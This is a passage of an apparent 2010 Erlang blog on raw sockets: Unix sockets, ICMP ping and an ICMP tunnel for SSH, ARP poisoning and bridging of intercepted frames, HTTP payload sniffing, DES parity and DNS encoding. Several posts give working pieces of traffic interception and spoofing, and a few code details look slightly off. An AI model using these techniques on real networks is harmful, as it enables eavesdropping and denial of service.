typedef __uint8_t   __sa_family_t;  /* socket address family */

struct sockaddr_un {
    unsigned char   sun_len;    /* 1 byte: sockaddr len including null */
    sa_family_t sun_family;     /* 1 byte: AF_UNIX */
    char    sun_path[104];      /* path name (gag) */
};

The binary can be built like:

#define UNIX_PATH_MAX 104
#define PATH <<"/tmp/unix.sock">>

<<
  (byte_size(?PATH)):8,         % socket address length
  ?PF_LOCAL:8,                  % sun_family
  ?PATH/binary,                 % address
  0:((?UNIX_PATH_MAX-byte_size(?PATH))*8)
>>

The code below might need to be adjusted for BSD. Or it might just work. Some code I tested on Mac OS X just happened to work, presumably because the length field was ignored, the endianness happened to put the protocol family in the second byte and the extra 4 bytes was truncated.

Here is the code to send data from the client to the server:

Start up an Erlang VM and run the server (remembering to include the path to the procket library):

$ erl -pa /path/to/procket/ebin
Erlang R14B02 (erts-5.8.3) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8.3  (abort with ^G)
1> unix_dgram:server().

And in a second Erlang VM run:

1> unix_dgram:client(<<104,101,108,108,111,32,119,111,114,108,100>>). % Erlangish for <<"hello world">>, I am being a smartass

In the first VM, you should see printed out:

<<"hello world">>
ok

Creating an Abstract Socket

Linux allows you to bind an arbitrary name (a name that is not a file system path) by using an abstract socket. The abstract socket naming convention uses a NULL prefacing arbitrary bytes in place of the path used by traditional Unix sockets. To define an abstract socket, a binary is passed as the second argument to procket:bind/2, in the format of a struct sockaddr:

<<?PF_LOCAL:16/native,        % sun_family
  0:8,                        % abstract address
  "1234",                     % the address
  0:((?UNIX_PATH_MAX-(1+4)*8))
>>

To create a datagram echo server, the source address of the client socket is bound to an address so the server has somewhere to send the response. We modify the datagram server to use recvfrom/4, passing in an additional flag argument (which is set to 0) and a length. recvfrom/4 will return an additional value containing up to length bytes of the socket address.

We also need to modify the client to bind to an abstract socket. The server will receive this socket address in the return value of recvfrom/4; this value can be passed to sendto/4.

1> unix_dgram1:server().

1> unix_dgram1:client(<<104,101,108,108,111,32,119,111,114,108,100>>).
<<"hello world">>
ok

Creating a Stream Socket

To create a stream socket, we use the SOCK_STREAM type (or 1) for the second value passed to socket/3. The socket arguments can be either integers or atoms; for variety, atoms are used here.

After the socket is bound, we mark the socket as listening and poll it (rather inefficiently) for connections. When a new connection is received, it is accepted, the file descriptor for the new connection is returned and a process is spawned to handle the connection.

On the client side, after obtaining a stream socket, we do connect the socket and so do not need to explicitly bind it.

Running the same steps for the client and server as above:

1> unix_stream:server().
<<"hello world">>
** client disconnected

1> unix_stream:client(<<104,101,108,108,111,32,119,111,114,108,100>>).
<<"hello world">>
ok

ICMP Ping in Erlang, part 2

2010-12-03T22:23:00.003-05:00

I've covered sending ICMP packets from Erlang using BSD raw sockets and Linux's PF_PACKET socket option.

gen_icmp tries to be a simple interface for ICMP sockets using the BSD raw socket interface for portability. It should work on both Linux and BSD's (I've tested on Ubuntu and Mac OS X).

Sending Ping's

To ping a host:

1> gen_icmp:ping("erlang.org").
[{ok,{193,180,168,20},
     {{33786,0,129305},
      <<" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK">>}}]

The response is a list of 3-tuples. The third element is a 2-tuple holding the ICMP echo request ID, the sequence number, the elapsed time and the payload.

A bad response looks like:

2> gen_icmp:ping("192.168.213.4").
[{{error,host_unreachable},
  {192,168,213,4},
  {{34491,0},
   <<69,0,0,84,0,0,64,0,64,1,14,220,192,168,213,119,192,
     168,213,4,8,0,196,...>>}}]

The argument to gen_icmp:ping/1 takes either a string or a list of strings. For example, to ping every host on a /24 network:

1> gen_icmp:ping([ {192,168,213,N} || N <- lists:seq(1,254) ]).
[{{error,host_unreachable},
  {192,168,213,254},
  {{54370,0},
   <<69,0,0,84,0,0,64,0,64,1,13,226,192,168,213,119,192,
     168,213,254,8,0,82,...>>}},
 {{error,host_unreachable},
  {192,168,213,190},
  {{54370,0},
   <<69,0,0,84,0,0,64,0,64,1,14,34,192,168,213,119,192,168,
     213,190,8,0,...>>}},

gen_icmp:ping/1 takes care of opening and closing the raw socket. This operation is somewhat expensive because Erlang is spawning a setuid executable to get the socket. If you'll be doing a lot of ping's, it's better to keep the socket around and use ping/3:

1> {ok,Socket} = gen_icmp:open().
{ok,<0.308.0>}

2> gen_icmp:ping(Socket, ["www.yahoo.com", "erlang.org", {192,168,213,1}],
    [{id, 123}, {sequence, 0}, {timeout, 5000}]).
[{ok,{193,180,168,20},
     {{123,0,126270},
      <<" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK">>}},
     {ok,{69,147,125,65},
     {{123,0,29377},
      <<" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK">>}},
     {ok,{192,168,213,1},
     {{123,0,3586},
      <<" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK">>}}]

3> gen_icmp:close(Socket).
ok

Creating Other ICMP Packet Types

ICMP destination unreachable and time exceeded packets return at least the first 64 bits of the header and payload of the original packet. Here is an example of generating an ICMP port unreachable for a fake TCP packet sent to port 80.

-module(icmperr).
-export([unreachable/3]).
-include("epcap_net.hrl").

-define(IPV4HDRLEN, 20).
-define(TCPHDRLEN, 20).

unreachable(Saddr, Daddr, Data) ->
    {ok, Socket} = gen_icmp:open(),

    IP = #ipv4{
        p = ?IPPROTO_TCP,
        len = ?IPV4HDRLEN + ?TCPHDRLEN + byte_size(Data),
        saddr = Daddr,
        daddr = Saddr
    },

    TCP = #tcp{
        dport = 80,
        sport = crypto:rand_uniform(0, 16#FFFF),
        seqno = crypto:rand_uniform(0, 16#FFFF),
        syn = 1
    },

    IPsum = epcap_net:makesum(IP),
    TCPsum = epcap_net:makesum([IP, TCP, Data]),

    Packet = <<
        (epcap_net:ipv4(IP#ipv4{sum = IPsum}))/bits,
        (epcap_net:tcp(TCP#tcp{sum = TCPsum}))/bits,
        Data/bits
        >>,

    ICMP = gen_icmp:packet([
        {type, ?ICMP_DEST_UNREACH},
        {code, ?ICMP_UNREACH_PORT}
    ], Packet),

    ok = gen_icmp:send(Socket, Daddr, ICMP),
    gen_icmp:close(Socket).

To create the IPv4 and TCP headers, we make the protocol records and use the epcap_net module functions to encode the headers with the proper checksums. For creating the ICMP packet, we use the gen_icmp:packet/2 function (which again simply calls epcap_net).

ICMP Ping Tunnel

We can tunnel any data we like in the payload of an ICMP packet. In this example, we'll use ICMP echo requests to tunnel an ssh connection between 2 hosts. The ICMP echo replies sent back by the peer OS ensure the data was received, like the ACK in a TCP connection.

The tunnel exports 2 functions:

ptun:server(ClientAddress, LocalPort) -> void()

Types   ClientAddress = tuple()
            LocalPort = 0..65534

    ClientAddress is the IPv4 address of the peer represented as a tuple.

    The server listens on LocalPort for TCP connections and will close
    the port after a TCP client connects.  Data received on this port
    will be sent to the peer as the payload of the ICMP packets.

ptun:client(ServerAddress, LocalPort) -> void()

Types   ServerAddress = tuple()
            LocalPort = 0..65534

    ServerAddress is the IPv4 address of the peer.

    When the client receives an ICMP echo request, the client opens a
    TCP connection to the LocalPort on localhost, proxying the data.

To start the tunnel, you'll need 2 hosts. In this example, 192.168.213.7 is the client and 192.168.213.119 is the server. 192.168.213.7 forwards any tunnelled data it receives to a local SSH server. On 192.168.213.7:

1> ptun:client({192,168,213,119}, 22).

On 192.168.213.119:

1> ptun:server({192,168,213,7}, 8787).

Open another shell and start an SSH connection to port 8787 on localhost:

ssh -p 8787 127.0.0.1
<...>
$ ifconfig eth0 | awk '/inet addr/{print $2}'
addr:192.168.213.7

Playing with Diagrams

2010-11-14T11:28:00.003-05:00

websequencediagrams is a site that generates diagrams, sort of like GraphViz or Diagrammr.

The site has some sample code for generating the image files programmatically. Here is an example in Erlang:

To generate an image from a description in a text file such as:

client->server: POST request containing style and message
note right of server: server generates PNG file
server->client: server returns JSON containing image name
client->server: GET request for image
server->client: server returns PNG file

Read the file into Erlang and render the description:

inets:start(),
{ok, Bin} = file:read_file("descr.txt"),
wsd:render([{message, binary_to_list(Bin)}]).

The output looks like:

Fun with Raw Sockets in Erlang: Bridging

2010-10-26T20:56:00.003-04:00

Hosts connecting to another system on the same network map the protocol address (e.g., IPv4 address) of the destination host to a hardware address (e.g., ethernet MAC address) using the ARP protocol. Clients on different networks can communicate by having a device forward the packets between networks. These devices, usually multi-homed and spanning networks, forward packets by re-writing the packet headers: for example, the ethernet header (a bridge), the IP header (a router) or the IP and TCP headers (a NAT).

An ethernet II header:

Preamble:42
Start of Field Delimeter:8
Destination Host:48
Source Host:48
Type:16
Protocol Payload:N
CRC:16

Not all of these fields will be visible to processes running on the operating system.

The Preamble starts the Ethernet frame (not available to the OS)
The SOF Delimiter marks the start of the destination host address field (not available to the OS)
The Destination Host is the 6 byte MAC address of the target host
The Source Host is the 6 byte MAC address of the sending host
The Type represents the protocol held in the payload. Common types are IPv4 (ETH_P_IP (16#0800)), ARP (ETH_P_ARP (16#0806)) and IPv6 (ETH_P_IPV6 (16#86DD)).
A trailing CRC checksum of the packet (frame check sequence) (usually not available to the OS)
Ethernet frames can apparently include other trailing data, leading to trailing junk when doing packet captures.
When capturing data off the network, it's important to properly calculate the size of the packet. For example, for an IPv4 TCP packet:
```
IP length - (IP header length * 4) - (TCP offset * 4)
```

The ethernet header has fixed size fields and so does not explicitly include a field for length. Interestingly, Ethernet 802.3 frames use the Type field for the length (according to Wikipedia 802.3 packets can be distinguished from Ethernet II packets by:

if the value of the Type field is equal to or less than 1500 bytes (maximum frame length), the frame is Ethernet 802.3 and the value represents the length of the frame
if the value of the Type field is equal to or greather than 1536, the frame is Ethernet II and the value represents the protocol type of the encapsulated packet
The protocol of 802.3 frames is always IPX.
if the value of the Type field is between 1500 and 1536, the behaviour is undefined)

An Erlang binary representation of an Ethernet II frame:

<<
Dhost:6/bytes,        % destination MAC address
Shost:6/bytes,        % source MAC address
Type:16               % protocol type, usually ETH_P_IP
>>

Using Erlang to Bridge Packets

To go along with the ARP poisoning, we need a sort of "one armed bridging" to forward packets from our spoofing host to the real destinations. Once we have the raw ethernet frames, doing the bridging is quite simple. For the complete code, see herp on GitHub (yes, the herp is what you get when you've been promiscuous. I hear like 80% of adults have it).

I won't include much of the code here because it's so trivial. The bridging process captures packets off the network and pattern matches on the headers:

filter(#ether{shost = MAC}, _, #state{mac = MAC}) ->
    ok;
filter(#ether{type = ?ETH_P_IP}, Packet, State) ->
    {#ipv4{daddr = DA}, _} = epcap_net:ipv4(Packet),
    filter1(DA, Packet, State);
filter(_, _, _) ->
    ok.

filter1(IP, _, #state{ip = IP}) ->
    ok;
filter1(IP, Packet, #state{gw = GW}) ->
    MAC = case packet:arplookup(IP) of
        false -> GW;
        {M1,M2,M3,M4,M5,M6} -> <<M1,M2,M3,M4,M5,M6>>
    end,
    bridge(MAC, Packet).

Check if the frame has our MAC address
Retrieve the IP address from the frame and check the system ARP cache. A real bridge would monitor the network for ARP packets and cache the results.
If the IP exists in our ARP cache, use the MAC address, otherwise, send it to the gateway (it's possible the IP address does not exist in the system ARP cache and will be wrongly forwarded to the gateway)

If the frame should be bridged, we create a new frame with the source hardware address set to our host's MAC address. The IP header and payload are not touched.

handle_call({packet, DstMAC, Packet}, _From, #state{
        mac = MAC,
        s = Socket,
        i = Ifindex} = State) ->

    Ether = epcap_net:ether(#ether{
            dhost = DstMAC,
            shost = MAC,
            type = ?ETH_P_IP
        }),

    packet:send(Socket, Ifindex, list_to_binary([Ether, Packet])),
    {reply, ok, State};

It'd be interesting to experiment with making herp into a traditional network bridge: quite likely very slow, but also redundant, distributed and fault tolerant.

Fun with Raw Sockets in Erlang: ARP Poisoning

2010-10-25T15:16:00.004-04:00

On IP ethernet networks, hosts use a peer to peer method called ARP (address resolution protocol) to discover the hardware address of the peer with which they intend to communicate.

IPv4 ethernet ARP packets are specified as:

Hardware Type:16
Protocol Type:16
Hardware Length:8
Protocol Length:8
Operation:16
Sending Hardware Address:48
Sending IP Address:32
Target Hardware Address:48
Target IP Address:32

The numbers after the colon represent the size in bits of the field.

The Hardware Type of the network is ethernet, so the value is set to ARPHRD_ETHER (1)
The Protocol Type of the network is IPv4, so the value is set to ETH_P_IP (0x0800)
The Hardware Length of an ethernet MAC address is 6 bytes
The Protocol Length of an IPv4 address is 4 bytes
Operation is usually an ARP request (ARPOP_REQUEST (1)) or reply (ARPOP_REPLY (2))
The Sending Hardware Address is the MAC address of the host sending the ARP packet
The Sending IP Address is the IPv4 address of the host sending the ARP packet
The Target Hardware Address is the MAC address of the host receiving the ARP packet

The target address may be the ethernet broadcast address (FF:FF:FF:FF:FF:FF or 00:00:00:00:00:00) which results in all hosts receiving the ARP packet.
The Target IP Address is the IPv4 address of the host sending the ARP packet

The corresponding Erlang representation of an IPv4 ethernet ARP packet is:

<<Hrd:16, Pro:16,
Hln:8, Pln:8, Op:16,
Sha:48, Sip:32,
Tha:48, Tip:48>>

Behaviour of the ARP Cache

ARP caches are key/value stores holding a mapping of the protocol address to the hardware address. To prevent caching of stale data, entries eventually expire. The expiry timeout varies; for example, on MS Windows, arp entries are kept for 2 minutes if another session to the remote host is not initiated. If a session is initiated within the 2 minute period, the ARP cache expiry time is extended to 10 minutes.

ARP is opportunistic and trust-based. If a host sees an ARP request or reply for which it is not the target, the host may cache the information. However, caching all requests would be pointless, since arp lookup would be slow on a network with a large number of peers with which the host might never communicate.

Gratuitous ARPs

ARPs are gratuitous when no request was made for the information. Gratuitous ARPs are useful for:

discovering IP conflict
IP take over: in a high availability cluster of servers, one of the hosts is active (holding the service IP address). In the event of a failure of the active node, one of the slave nodes can assume the service IP address, sending a gratuitous ARP to inform the other nodes and the gateway that the IP address is associated with a new MAC address

An Erlang binary representing a gratuitous ARP looks like:

<<
1:16,                                 % hardware type
16#0800:16,                           % protocol type
6:8,                                  % hardware length
4:8,                                  % protocol length
2:16,                                 % operation: ARPOP_REPLY
0,1,2,3,4,5,                          % sending MAC address
192,168,1,100,                        % sending IPv4 address
16#FF,16#FF,16#FF,16#FF,16#FF,16#FF,  % target MAC address: ethernet broadcast
192,168,1,100                         % target IPv4 address: set to sending address
>>

Behaving badly by gratuitously arp'ing for all the IP addresses on the network will DoS the other hosts, eventually forcing them to report a network error condition and go offline.

Sending an ARP Reply

To send an ARP packet from Erlang, we'll use the procket module on GitHub. The functions in procket used for these examples are unfortunately Linux-only. For this example, the binaries are manually specified. The epcap_net module on GitHub has convenience functions for creating and decomposing ARP packets into a record structure. If the network was set up like:

arping Erlang node: 10.11.11.9
source host: 10.11.11.10
target host (doesn't exist): 10.11.11.11

tcpdump -n -e arp

In another window, run the code:

$ erl -pa /path/to/procket/ebin
Erlang R14B01 (erts-5.8.2) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8.2  (abort with ^G)
1> carp:send({10,11,11,11}). % Use an address on your network

If the MAC address of the Erlang node is 00:aa:bb:cc:dd:ee, then on the other host you should see something like:

00:59:35.051302 00:aa:bb:cc:dd:ee > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: arp reply 10.11.11.11 is-at 00:aa:bb:cc:dd:ee

Check the ARP cache on the source node:

arp -an

The ARP entry may not exist. Since ARP caching is opportunistic, it is up to a host to decide whether it will optimize future connections by caching an unsolicited entry. To force an ARP cache entry on the remote host, ping the fake IP address:

ping 10.11.11.11

Then, in the Erlang shell, run carp:send/1. Run "arp -an" again on the remote host. The ARP cache entry for 10.11.11.11 should now be there.

? (10.11.11.11) at 00:aa:bb:cc:dd:ee [ether] on eth0

If you run tcpdump on the host doing the ARP'ing, you should see ICMP traffic for 10.11.11.11:

01:13:36.075040 IP 10.11.11.10 > 10.11.11.11: ICMP echo request, id 35604, seq 17, length 64
01:13:36.088794 IP 10.11.11.10 > 10.11.11.11: ICMP echo request, id 35604, seq 18, length 64
01:13:36.106572 IP 10.11.11.10 > 10.11.11.11: ICMP echo request, id 35604, seq 19, length 64

Since this IP address is not bound to any interface on your host, there will, of course, be no reply.

Poisoning the ARPs

On old networks using hubs or open networks using 802.11 access points, data is broadcasted to all the hosts. Running a packet sniffer displays the network activity for everyone, not just yourself.

Switched networks learn the MAC address of the host connected to the port of the switch and send data only to the recipient. ARP poisoning or spoofing fools other hosts on the network to send data to the host under your control. If your host spoofs the gateway, you'll also see the internet traffic. Obviously, if your host is not somehow routing, the packets will go nowhere, performing a denial of service on your network. But you will be able to see the data other hosts are sending.

Using the code we ran earlier, we can test ARP spoofing. You'll need 3 hosts: one doing the poisoning and two victims, a source and a target. The process is the same as above. For example, if 10.11.11.11 were a real host, we would have convinced 10.11.11.10 to send its data through our host.

I've put my experiment in progress with ARP poisoning, farp, on GitHub. farp works by replying to ARP requests with our host's MAC address. It can also optionally send out gratuitous arps as the gateway to speed up the process.

Setting Parity on DES Keys

2010-10-17T13:54:00.006-04:00

DES keys are 8 bytes, of which only 7 bits of each byte are used for the key. The least significant bit is used for parity and is thrown away for the actual encryption/decryption (resulting in a 56-bit key for single DES). Mostly, it seems, the parity is ignored by DES implementations, but occasionally a system using DES will check the parity and reject the key if the parity is not odd (or so Google tells me, I've never actually seen this happen). The parity bit was intended to prevent corruption or tampering with the key.

The DES parity calculation works as follows:

00001001 = 9

for each byte, count the number of bits that are set. For the example byte above, 2 bits are set
if the number of bits set is odd, do nothing
if the number of bits is even, set or unset the least significant bit to make the count odd

In the example, the new value for the byte would be

00001000 = 8

Reading through Erlang's crypto support for DES and DES3, it's up to the caller to use a valid key. For example, the NIF making up crypto:des_cbc_crypt/3 is defined as:

DES_set_key((const_DES_cblock*)key.data, &schedule);
DES_ncbc_encrypt(text.data, enif_make_new_binary(env, text.size, &ret),
    text.size, &schedule, &ivec_clone, (argv[3] == atom_true));

DES_set_key() is an OpenSSL compatibility function that, in this case, is identical to DES_set_key_unchecked(). The corresponding checking function, DES_set_key_checked(), returns some information about the key: -1 (if the parity is even) and -2 (if the key is weak).

So I was curious how to go about setting the parity in a functional language. It turns out to be quite easy:

-module(des_key).
-export([set_parity/1, check_parity/1, odd_parity/1]).

set_parity(Key) ->
    << <<(check_parity(N))>> || <<N>> <= Key >>.

check_parity(N) ->
    case odd_parity(N) of
        true -> N;
        false -> N bxor 1
    end.

odd_parity(N) ->
    Set = length([ 1 || <<1:1>> <= <<N>> ]),
    Set rem 2 == 1.

set_parity/1 uses a binary comprehension to read 1 byte at a time from the 8 byte key.

check_parity/1 checks whether an integer has an odd or even parity and returns the integer XOR'ed with 1 if the parity is even.

odd_parity/1 counts the bit set by using a bit comprehension to return the list of bits that are set. The modulus of the length of this list returns oddness/evenness.

To test if this is correct, we can check if a few cases (all even bits or all odd bits in a key) work and then test that a key with corrected parity produces the same cipher text as the uncorrected key:

test() ->
    <<1,1,1,1,1,1,1,1>> = set_parity(<<0:(8*8)>>),
    <<1,1,1,1,1,1,1,1>> = set_parity(<<1,1,1,1,1,1,1,1>>),
    K1 = <<"Pa5Sw0rd">>,
    K2 = set_parity(K1),
    Enc = crypto:des_cbc_encrypt(K1, <<0:64>>, "12345678"),
    Enc = crypto:des_cbc_encrypt(K2, <<0:64>>, "12345678"),
    <<"12345678">> = crypto:des_cbc_decrypt(K2, <<0:64>>, Enc),
    ok.

Dumping Payloads with epcap and procket

2010-08-31T21:16:00.003-04:00

epcap and procket allow Erlang code to sniff data off of a network. With either, once the packets are in the Erlang VM, manipulating the contents is straight forward using pattern matching.

Which to use?

epcap and procket sort of overlap in functionality. The main differences, at the moment, are:

portability

epcap: should work on any Unix with pcap installed

procket: for sniffing, procket uses Linux's PF_PACKET socket option, so Linux only. I plan to add support for BPF someday, so maybe in the future procket will support BSD as well.
safety

epcap: runs as a separate system process. Any bugs in epcap will not affect the Erlang VM.

procket: linked into the Erlang VM using the NIF interface. Bugs may stall or crash the VM.
packet generation

epcap: can only sniff packets

procket: can generate whole packets. Again, currently Linux only, but should work under BSD's, like Mac OS X, when BPF is supported.

Raw sockets (for example, generating ICMP echo packets) work under BSD as well.

In fact, it should be possible to combine the power of procket, epcap, and BSD to send and receive arbitrary TCP or UDP packets now (since TCP/UDP raw sockets can send data only, we need to use epcap to sniff the response).
filtering

epcap: packet filtering rules are processed in C, either in the kernel or in a library.

procket: all packets are received and must be filtered by an Erlang process

Decapsulating Packets

procket and epcap have different ways of being started and reading packets but once the raw packets are received by an Erlang process, they can be decapsulated with a small module ("epcap_net.erl") distributed with epcap. Say, for example, we wanted to monitor http requests and write out a file containing just the client side: We request a raw socket from procket and then loop, polling the socket every 10ms for data. We look for established connections by matching packets with only the ACK bit set (we ignore connections in progress) and spawn another process to accumulate the data. When we see a packet indicating a connection has been closed, we tell the spawned process to write out its state to a file. The spawned process will also terminate if it reaches an arbitrary timeout. You've probably noticed that this code mimics some of the functionality of OTP behaviours. I wrote it this way for simplicity, but it certainly could be more compactly (and elegantly) written as a gen_server or a gen_fsm.

Matching on Payloads

A similar example with epcap: match on all http requests and write the complete transaction to a file based on the etag. epcap doesn't require polling as with procket. Instead, messages are received from the port similar to gen_tcp in {active, true} mode. The message contains some additional information about the length and time of the captured packet. For this example, we ignore it. We're only interested in the packet contents.

Similar to the procket example, we loop, blocking in receive. When data is received, we check if the connection is in the established state, spawning a process to accumulate the data if we haven't seen this session before.

Finally, we write out the data to the file system when the connection is closed, using the value of the "ETag" header for the file name. For succintness, I used a regular expression to match on the payload. Probably better to write a parser.

Thanks, Zabrane, for suggesting this post!

DNS Programming with Erlang

2010-07-04T21:25:00.010-04:00

I have this strange fascination with DNS. By which I mean loathing. Yet somehow I've already written 3 small DNS servers in Erlang:

emdns: An unfinished multicast DNS server with unspecified yet no doubt awesome features. Someday I'll finish it. Maybe.
spood: A strange, little program; a spoofing DNS proxy that will send out your DNS requests from somebody else's IP address and sniff the responses. Maybe (if you're somewhat sketchy) you could use it to hide your DNS lookups. Maybe, you could use it to ramp up your DNS requests on networks that throttle them down. Not that I would do any of that.
seds: a DNS server that tunnels TCP/IP. I'm typing this blog over a DNS tunnel right now, stress testing it (with my blazing fast ASCII input) and trying to make seds crash. Also stress testing my patience.

Since the programmatic interfaces to DNS in Erlang are mostly undocumented, I thought I'd go over them briefly. So I'll remember how to use them if I ever finish emdns. I figured out how they worked mainly by reading the source and dumping DNS packets to see the record structures. The DNS parsing functions are kept in lib/kernel/src/inet_dns.erl. Pretty much the only functions that you will need from this module are encode/1 and decode/1. The tricky part is passing in the appropriate data structures.

decode/1 takes a binary and returns a #dns_rec{} record or {error, fmt} if the DNS payload cannot be decoded
encode/1 as you might expect, does the inverse, taking an appropriate record and returning a binary

The record structure is defined in lib/kernel/src/inet_dns.hrl.

-record(dns_rec,
    {
        header,       %% dns_header record
        qdlist = [],  %% list of question entries
        anlist = [],  %% list of answer entries
        nslist = [],  %% list of authority entries
        arlist = []   %% list of resource entries
    }).

The DNS header is another record:

-record(dns_header,
    {
     id = 0,       %% ushort query identification number
     %% byte F0
     qr = 0,       %% :1   response flag
     opcode = 0,   %% :4   purpose of message
     aa = 0,       %% :1   authoritive answer
     tc = 0,       %% :1   truncated message
     rd = 0,       %% :1   recursion desired
     %% byte F1
     ra = 0,       %% :1   recursion available
     pr = 0,       %% :1   primary server required (non standard)
                   %% :2   unused bits
     rcode = 0     %% :4   response code
    }).

While the defaults are initialized to small integers, inet_dns replaces them with atoms. So, the 1 bit values are either the atoms 'true' or 'false' and the opcode is set to an atom, for example, 'query'. Both integers and the atom representations are usually accepted by the functions though.

qdlist is a list of DNS query records:
```
-record(dns_query,
    {
     domain,     %% query domain
     type,        %% query type
     class      %% query class
     }).
```
- domain is a string representing the domain name, e.g., "foo.bar.example.com"
- type is an atom describing the DNS type: a, cname, txt, null, srv, ns, ...
- class will most commonly be 'in' (Internet), though multicast DNS uses "cache flush" (32769) for some operations

Making a valid Erlang DNS query would look something like:

-module(dns).
-compile(export_all).

-include_lib("kernel/src/inet_dns.hrl").

q(Domain, NS) ->
    Query = inet_dns:encode(
        #dns_rec{
            header = #dns_header{
                id = crypto:rand_uniform(1,16#FFFF),
                opcode = 'query',
                rd = true
            },
            qdlist = [#dns_query{
                domain = Domain,
                type = a,
                class = in
            }]
        }),
    {ok, Socket} = gen_udp:open(0, [binary, {active, false}]),
    gen_udp:send(Socket, NS, 53, Query),
    {ok, {NS, 53, Reply}} = gen_udp:recv(Socket, 65535),
    inet_dns:decode(Reply).

I enabled recursion because the request will be going through the one of the public Google nameservers (8.8.8.8) instead of going directly through the authoritative nameserver.

Testing the results:

$ erl
Erlang R14A (erts-5.8) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8  (abort with ^G)
1> {ok, Q} = dns:q("listincomprehension.com", {8,8,8,8}).
{ok,{dns_rec,{dns_header,7296,true,'query',false,false,
                         true,true,false,0},
             [{dns_query,"listincomprehension.com",a,in}],
             [{dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,32,21},                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,34,21},
                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,36,21},
                      undefined,[],false},
              {dns_rr,"listincomprehension.com",a,in,0,656,
                      {216,239,38,21},
                      undefined,[],false}],
             [],[]}}
2> rr("/usr/local/lib/erlang/lib/kernel-2.14/src/inet_dns.hrl").
[dns_header,dns_query,dns_rec,dns_rr,dns_rr_opt]
3> Q.
#dns_rec{header = #dns_header{id = 7296,qr = true,
                              opcode = 'query',aa = false,tc = false,rd = true,ra = true,
                              pr = false,rcode = 0},
         qdlist = [#dns_query{domain = "listincomprehension.com",
                              type = a,class = in}],
         anlist = [#dns_rr{domain = "listincomprehension.com",
                           type = a,class = in,cnt = 0,ttl = 656,
                           data = {216,239,32,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,34,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,36,21},
                           tm = undefined,bm = [],func = false},
                   #dns_rr{domain = "listincomprehension.com",type = a,
                           class = in,cnt = 0,ttl = 656,
                           data = {216,239,38,21},
                           tm = undefined,bm = [],func = false}],
         nslist = [],arlist = []}

The records are displayed as tuples. You can pretty print the records by using the shell rr() command to include the header file wherever it is on your system.

The query returned the same packet we sent with some changes to the header:

The response flag (qr) is set to true
The recursion available flag (ra) is also set to true

The answer to our query is a list bound to the anlist record atom. The #dns_rr{} record looks like:

-record(dns_rr,
    {
     domain = "",   %% resource domain
     type = any,    %% resource type
     class = in,    %% reource class
     cnt = 0,       %% access count
     ttl = 0,       %% time to live
     data = [],     %% raw data
      %%  
     tm,            %% creation time
         bm = [],       %% Bitmap storing domain character case information.
         func = false   %% Optional function calculating the data field.
    }).

The data field is interesting. Although it's initialized as an empty list, the data structure bound to it depends on the DNS record type. For example, from the ones I remember:

A: tuple representing the IP address
TXT: a list of strings
NULL: a binary
CNAME: a domain name string appropriately "labelled" (canonicalized by the "."'s), e.g., "ghs.google.com". inet_dns takes care of breaking the domain name into the appropriate, compressed domain name -- a weird form where the "."'s are replaced by nulls and each component is prefaced by a length or a pointer redirecting to another field (hence the compression).

Pattern Matching

The cool thing is that, since the DNS records are nested records, its very easy to pattern match on the results. Modifying the example above:

-module(dns1).
-compile(export_all).

-include_lib("kernel/src/inet_dns.hrl").

q(Type, Domain, NS) ->
    Query = inet_dns:encode(
        #dns_rec{
            header = #dns_header{
                id = crypto:rand_uniform(1,16#FFFF),
                opcode = 'query',
                rd = true
            },
            qdlist = [#dns_query{
                    domain = Domain,
                    type = Type,
                    class = in
                }]
        }),
    {ok, Socket} = gen_udp:open(0, [binary, {active, true}]),
    gen_udp:send(Socket, NS, 53, Query),
    loop(Socket, Type, Domain, NS).


loop(Socket, Type, Domain, NS) ->
    receive
        {udp, Socket, NS, _, Packet} ->
            {ok, Response} = inet_dns:decode(Packet),
            match(Type, Domain, Response)
    end.

match(a, Domain, #dns_rec{
        header = #dns_header{
            qr = true,
            opcode = 'query'
        },
        qdlist = [#dns_query{
                domain = Domain,
                type = a,
                class = in
            }],
        anlist = [#dns_rr{
                domain = Domain,
                type = a,
                class = in,
                data = {IP1, IP2, IP3, IP4}
            }|_]}) ->
    {a, Domain, {IP1,IP2,IP3,IP4}};
match(cname, Domain, #dns_rec{
        header = #dns_header{
            qr = true,
            opcode = 'query'
        },
        qdlist = [#dns_query{
                domain = Domain,
                type = cname,
                class = in
            }],
        anlist = [#dns_rr{
                domain = Domain,
                type = cname,
                class = in,
                data = Data
            }|_]}) ->
    {cname, Domain, Data}.

And the results:

$ erl
Erlang R14A (erts-5.8) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.8 (abort with ^G)
1> dns1:q(cname, "blog.listincomprehension.com", {8,8,8,8}).
{cname,"blog.listincomprehension.com","ghs.google.com"}

Fun with Raw Sockets in Erlang: Finding MAC and IP Addresses

2010-07-01T11:20:00.019-04:00

(See the update for versions of some of these functions in standard Erlang).

When working with PF_PACKET raw sockets, the caller needs to provide the source/destination MAC and IP addresses.
Playing with a spoofing DNS proxy, I got tired of hardcoding the addresses, then WTF'ing every time I switched networks. So I added some functions to procket to lookup the system network interface and its MAC and IP addresses.

Retrieving the MAC Address of an Interface

Under Linux, getting the MAC address of an interface involves calling an ioctl() with the request set to SIOCGIFHWADDR and passing in a struct ifreq.

Here is the code to do so in C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <netinet/ether.h>


int
main(int argc, char *argv[])
{
    int s = -1;

